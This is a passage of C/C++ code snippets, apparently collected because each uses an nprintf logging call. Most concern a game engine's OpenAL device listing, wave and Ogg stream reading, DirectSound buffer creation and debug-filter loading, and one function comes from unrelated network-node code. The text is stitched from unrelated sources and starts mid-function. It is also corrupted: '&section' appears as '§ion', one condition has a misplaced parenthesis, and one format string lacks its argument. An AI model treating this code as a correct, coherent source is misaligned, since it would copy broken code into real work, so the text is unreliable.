nprintf(("OpenAL", " %s", CaptureDevices[idx].device_name.c_str())); if (CaptureDevices[idx].type == OAL_DEVICE_USER) { nprintf(("OpenAL", " *preferred*\n")); } else if (CaptureDevices[idx].type == OAL_DEVICE_DEFAULT) { nprintf(("OpenAL", " *default*\n")); } else { nprintf(("OpenAL", "\n")); } } nprintf(("OpenAL", "\n")); } #endif // cleanup PlaybackDevices.clear(); CaptureDevices.clear(); if (playback) { *playback = Playback_device; } if (capture) { *capture = Capture_device; } return true; }
// Read // // Returns number of bytes actually read. // // Returns -1 if there is nothing more to be read. This function can return 0, since // sometimes the amount of bytes requested is too small for the ACM decompression to // locate a suitable block int WaveFile::Read(BYTE* pbDest, UINT cbSize, int service) { unsigned char* dest_buf = NULL, *uncompressed_wave_data; int rc, uncompressed_bytes_written, section, last_section = -1, byte_order = 0; unsigned int src_bytes_used, convert_len, num_bytes_desired = 0, num_bytes_read; // nprintf(("Alan","Reqeusted: %d\n", cbSize)); #if BYTE_ORDER == BIG_ENDIAN byte_order = 1; #endif if (service) { uncompressed_wave_data = Wavedata_service_buffer; } else { uncompressed_wave_data = Wavedata_load_buffer; } switch (m_wave_format) { case WAVE_FORMAT_PCM: num_bytes_desired = cbSize; dest_buf = pbDest; break; case WAVE_FORMAT_ADPCM: if (!m_hStream_open) { if (!ACM_stream_open(m_pwfmt_original, &m_wfxDest, (void**)&m_hStream), m_wfmt.wBitsPerSample) { m_hStream_open = 1; } else { Int3(); } } num_bytes_desired = cbSize; if (service) { dest_buf = Compressed_service_buffer; } else { dest_buf = Compressed_buffer; } if (num_bytes_desired <= 0) { num_bytes_desired = 0; // nprintf(("Alan","No bytes required for ADPCM time interval\n")); } else { num_bytes_desired = ACM_query_source_size((void*)m_hStream, cbSize); // nprintf(("Alan","Num bytes desired: %d\n", num_bytes_desired)); } break; case OGG_FORMAT_VORBIS: num_bytes_desired = cbSize; dest_buf = pbDest; break; default: nprintf(("SOUND", "SOUND => Not supporting %d format for playing wave files\n")); Int3(); break; } // end switch num_bytes_read = 0; convert_len = 0; src_bytes_used = 0; // read data from disk if (m_data_bytes_left <= 0) { num_bytes_read = 0; uncompressed_bytes_written = 0; return -1; } if ((m_data_bytes_left > 0) && (num_bytes_desired > 0)) { int actual_read = 0; if (num_bytes_desired <= (uint)m_data_bytes_left) { num_bytes_read = num_bytes_desired; } else { num_bytes_read = m_data_bytes_left; } // OGG reading is special if (m_wave_format == OGG_FORMAT_VORBIS) { while (!m_abort_next_read && ((uint)actual_read < num_bytes_read)) { rc = ov_read(&m_snd_info.vorbis_file, (char*)dest_buf + actual_read, num_bytes_read - actual_read, byte_order, m_wfmt.wBitsPerSample / 8, 1, §ion); // fail if the bitstream changes, shouldn't get this far if that's the case though if ((last_section != -1) && (last_section != section)) { mprintf(("AUDIOSTR => OGG reading error: We don't handle bitstream changes!\n")); goto READ_ERROR; } if (rc > 0) { last_section = section; actual_read += rc; } else if (rc == 0) { break; } else if (rc == OV_EBADLINK) { goto READ_ERROR; } } } // standard WAVE reading else { actual_read = mmioRead(m_snd_info.cfp, (char*)dest_buf, num_bytes_read); } if ((actual_read <= 0) || (m_abort_next_read)) { num_bytes_read = 0; uncompressed_bytes_written = 0; return -1; } if (num_bytes_desired >= (uint)m_data_bytes_left) { m_abort_next_read = 1; } num_bytes_read = actual_read; } // convert data if necessary, to PCM if (m_wave_format == WAVE_FORMAT_ADPCM) { if (num_bytes_read > 0) { rc = ACM_convert((void*)m_hStream, dest_buf, num_bytes_read, uncompressed_wave_data, BIGBUF_SIZE, &convert_len, &src_bytes_used); if (rc == -1) { goto READ_ERROR; } if (convert_len == 0) { Int3(); } } Assert(src_bytes_used <= num_bytes_read); if (src_bytes_used < num_bytes_read) { // seek back file pointer to reposition before unused source data mmioSeek(m_snd_info.cfp, src_bytes_used - num_bytes_read, SEEK_CUR); } // Adjust number of bytes left m_data_bytes_left -= src_bytes_used; m_nBytesPlayed += src_bytes_used; uncompressed_bytes_written = convert_len; // Successful read, keep running total of number of data bytes read goto READ_DONE; } else { // Successful read, keep running total of number of data bytes read // Adjust number of bytes left m_data_bytes_left -= num_bytes_read; m_nBytesPlayed += num_bytes_read; uncompressed_bytes_written = num_bytes_read; goto READ_DONE; } READ_ERROR: num_bytes_read = 0; uncompressed_bytes_written = 0; READ_DONE: m_total_uncompressed_bytes_read += uncompressed_bytes_written; // nprintf(("Alan","Read: %d\n", uncompressed_bytes_written)); return (uncompressed_bytes_written); }
static void node_xmit(NODE *node, char kind, CIRCUIT *circuit) { if (!cn_find(circuit, node)) nprintf(circuit->s, "%c%c%s %s %s\n", FORMAT, kind, Node->calls, node->call, node->alias); }
// Create BOOL AudioStream::Create(LPSTR pszFilename, AudioStreamServices* pass) { BOOL fRtn = SUCCESS; // assume success Assert(pszFilename); Assert(pass); m_pass = pass; Init_Data(); if (pszFilename && m_pass) { // Create a new WaveFile object m_pwavefile = (WaveFile*)vm_malloc(sizeof(WaveFile)); Assert(m_pwavefile); if (m_pwavefile) { // Call constructor m_pwavefile->Init(); // Open given file if (m_pwavefile->Open(pszFilename)) { // Calculate sound buffer size in bytes // Buffer size is average data rate times length of buffer // No need for buffer to be larger than wave data though m_cbBufSize = (m_pwavefile->GetUncompressedAvgDataRate() * m_nBufLength) / 1000; // if the requested buffer size is too big then cap it m_cbBufSize = (m_cbBufSize > BIGBUF_SIZE) ? BIGBUF_SIZE : m_cbBufSize; nprintf(("SOUND", "SOUND => Stream buffer created using %d bytes\n", m_cbBufSize)); // m_cbBufSize = (m_cbBufSize > m_pwavefile->GetDataSize ()) ? m_pwavefile->GetDataSize () : m_cbBufSize; //nprintf(("Sound", "SOUND => average data rate = %d\n\r", m_pwavefile->GetUncompressedAvgDataRate ())); //nprintf(("Sound", "SOUND => m_cbBufSize = %d\n\r", m_cbBufSize)); // Create sound buffer HRESULT hr; memset(&m_dsbd, 0, sizeof (DSBUFFERDESC)); m_dsbd.dwSize = sizeof (DSBUFFERDESC); m_dsbd.dwBufferBytes = m_cbBufSize; m_dsbd.lpwfxFormat = &m_pwavefile->m_wfmt; m_dsbd.dwFlags = DSBCAPS_STATIC | DSBCAPS_CTRLPAN | DSBCAPS_CTRLVOLUME; hr = (m_pass->GetPDS())->CreateSoundBuffer(&m_dsbd, &m_pdsb, NULL); if (hr == DS_OK) { // Cue for playback Cue(); Snd_sram += m_cbBufSize; } else { // Error, unable to create DirectSound buffer nprintf(("Sound", "SOUND => Error, unable to create DirectSound buffer\n\r")); if (hr == DSERR_BADFORMAT) { nprintf(("Sound", "SOUND => Bad format (probably ADPCM)\n\r")); } fRtn = FAILURE; } } else { // Error opening file nprintf(("SOUND", "SOUND => Failed to open wave file: %s\n\r", pszFilename)); m_pwavefile->Close(); vm_free(m_pwavefile); m_pwavefile = NULL; fRtn = FAILURE; } } else { // Error, unable to create WaveFile object nprintf(("Sound", "SOUND => Failed to create WaveFile object %s\n\r", pszFilename)); fRtn = FAILURE; } } else { // Error, passed invalid parms fRtn = FAILURE; } return (fRtn); }
void load_filter_info(void) { FILE *fp; char pathname[256], inbuf[FILTER_NAME_LENGTH+4]; int z; outwnd_filter_loaded = 1; outwnd_filter_count = 0; strcpy(pathname, "Debug_filter.cfg" ); fp = fopen(pathname, "rt"); if (!fp) { Outwnd_no_filter_file = 1; outwnd_filter[outwnd_filter_count] = &real_outwnd_filter[outwnd_filter_count]; strcpy( outwnd_filter[outwnd_filter_count]->name, "error" ); outwnd_filter[outwnd_filter_count]->state = 1; outwnd_filter_count++; outwnd_filter[outwnd_filter_count] = &real_outwnd_filter[outwnd_filter_count]; strcpy( outwnd_filter[outwnd_filter_count]->name, "general" ); outwnd_filter[outwnd_filter_count]->state = 1; outwnd_filter_count++; outwnd_filter[outwnd_filter_count] = &real_outwnd_filter[outwnd_filter_count]; strcpy( outwnd_filter[outwnd_filter_count]->name, "warning" ); outwnd_filter[outwnd_filter_count]->state = 1; outwnd_filter_count++; return; } Outwnd_no_filter_file = 0; while (fgets(inbuf, FILTER_NAME_LENGTH+3, fp)) { if (outwnd_filter_count == MAX_FILTERS) break; outwnd_filter[outwnd_filter_count] = &real_outwnd_filter[outwnd_filter_count]; if (*inbuf == '+') outwnd_filter[outwnd_filter_count]->state = 1; else if (*inbuf == '-') outwnd_filter[outwnd_filter_count]->state = 0; else continue; // skip everything else z = strlen(inbuf) - 1; if (inbuf[z] == '\n') inbuf[z] = 0; Assert(strlen(inbuf+1) < FILTER_NAME_LENGTH); strcpy(outwnd_filter[outwnd_filter_count]->name, inbuf + 1); if ( !stricmp( outwnd_filter[outwnd_filter_count]->name, "error" ) ) { outwnd_filter[outwnd_filter_count]->state = 1; } else if ( !stricmp( outwnd_filter[outwnd_filter_count]->name, "general" ) ) { outwnd_filter[outwnd_filter_count]->state = 1; } else if ( !stricmp( outwnd_filter[outwnd_filter_count]->name, "warning" ) ) { outwnd_filter[outwnd_filter_count]->state = 1; } outwnd_filter_count++; } if (ferror(fp) && !feof(fp)) nprintf(("Error", "Error reading \"%s\"\n", pathname)); fclose(fp); }